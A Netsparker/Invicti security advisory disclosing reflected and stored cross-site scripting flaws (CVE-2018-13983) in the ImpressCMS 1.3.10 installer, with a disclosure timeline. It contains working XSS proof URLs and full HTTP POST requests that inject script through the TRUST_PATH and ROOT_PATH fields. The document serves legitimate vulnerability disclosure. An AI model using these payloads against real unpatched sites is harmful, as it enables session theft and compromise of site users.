Multiple Cross-site Scripting Vulnerabilities in ImpressCMS 1.3.10

Information

Advisory by Netsparker (now Invicti)
Name: Reflected and Stored XSS Vulnerabilities in ImpressCMS
Affected Software: ImpressCMS
Affected Versions: 1.3.10
Homepage: https://www.impresscms.org/
Vulnerability: Reflected and Stored XSS Vulnerabilities
Severity: High
Status: Fixed
CVE-ID: CVE-2018-13983
Invicti Advisory Reference: NS-18-033

Technical Details

Cross-site Scripting

URL: http://app.scan/ScanApp/impresscms/htdocs/install/index.php/'"--></style></scRipt><scRipt>netsparker(0x00012C)</scRipt>
Proof URL: http://app.scan/ScanApp/impresscms/htdocs/install/index.php/'"--></style></scRipt><scRipt>alert(0x00012C)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>netsparker(0x00012C)</scRipt>

URL: http://app.scan/ScanApp/impresscms/htdocs/install/page_langselect.php/'"--></style></scRipt><scRipt>netsparker(0x0006F2)</scRipt>
Proof URL: http://app.scan/ScanApp/impresscms/htdocs/install/page_langselect.php/'"--></style></scRipt><scRipt>alert(0x0006F2)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>netsparker(0x0006F2)</scRipt>

URL: http://app.scan/ScanApp/impresscms/htdocs/install/page_modcheck.php/'"--></style></scRipt><scRipt>netsparker(0x000881)</scRipt>
Proof URL: http://app.scan/ScanApp/impresscms/htdocs/install/page_modcheck.php/'"--></style></scRipt><scRipt>alert(0x000881)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>netsparker(0x000881)</scRipt>

URL: http://app.scan/ScanApp/impresscms/htdocs/install/page_pathsettings.php/'"--></style></scRipt><scRipt>netsparker(0x000919)</scRipt>
Proof URL: http://app.scan/ScanApp/impresscms/htdocs/install/page_pathsettings.php/'"--></style></scRipt><scRipt>alert(0x000919)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>netsparker(0x000919)</scRipt>

URL: http://app.scan/ScanApp/impresscms/htdocs/install/page_start.php/'"--></style></scRipt><scRipt>netsparker(0x0006F0)</scRipt>
Proof URL: http://app.scan/ScanApp/impresscms/htdocs/install/page_start.php/'"--></style></scRipt><scRipt>alert(0x0006F0)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>netsparker(0x0006F0)</scRipt>

-------

Stored Cross-Site Scripting

URL: http://app.scan/ScanApp/impresscms/htdocs/install/page_pathsettings.php
Injection URL: http://app.scan/ScanApp/impresscms/htdocs/install/page_pathsettings.php

Vulnerable TRUST_PATH:

#Injection
POST /ScanApp/impresscms/htdocs/install/page_pathsettings.php HTTP/1.1
Host: app.scan
Cache-Control: no-cache
Referer: http://app.scan/ScanApp/impresscms/htdocs/install/page_pathsettings.php
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36
Accept-Language: en-us,en;q=0.5
X-Scanner: Netsparker
Cookie: xo_install_lang=english; PHPSESSID=hnt9hof7s46l5tn1r958moao37
Accept-Encoding: gzip, deflate
Content-Length: 207
Content-Type: application/x-www-form-urlencoded
URL=http%3a%2f%2fapp.scan%2fScanApp%2fimpresscms%2fhtdocs&ROOT_PATH=%2fvar%2fwww%2fhtml%2fScanApp%2fimpresscms%2fhtdocs&TRUST_PATH='"--></style></scRipt><scRipt>netsparker(0x000F44)</scRipt>
#End

Vulnerable ROOT_PATH:

#Injection
POST /ScanApp/impresscms/htdocs/install/page_pathsettings.php HTTP/1.1
Host: app.scan
Cache-Control: no-cache
Referer: http://app.scan/ScanApp/impresscms/htdocs/install/page_pathsettings.php
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36
Accept-Language: en-us,en;q=0.5
X-Scanner: Netsparker
Cookie: xo_install_lang=english; PHPSESSID=hnt9hof7s46l5tn1r958moao37
Accept-Encoding: gzip, deflate
Content-Length: 186
Content-Type: application/x-www-form-urlencoded
URL=http%3a%2f%2fapp.scan%2fScanApp%2fimpresscms%2fhtdocs&ROOT_PATH='"--></style></scRipt><scRipt>netsparker(0x000F41)</scRipt>&TRUST_PATH=%2fvar%2fwww%2f623962b73562c7f
#End

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline

8th November 2018- First Contact
3rd December 2018 – Vendor Fixed
2nd January 2019 – Advisory Released

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.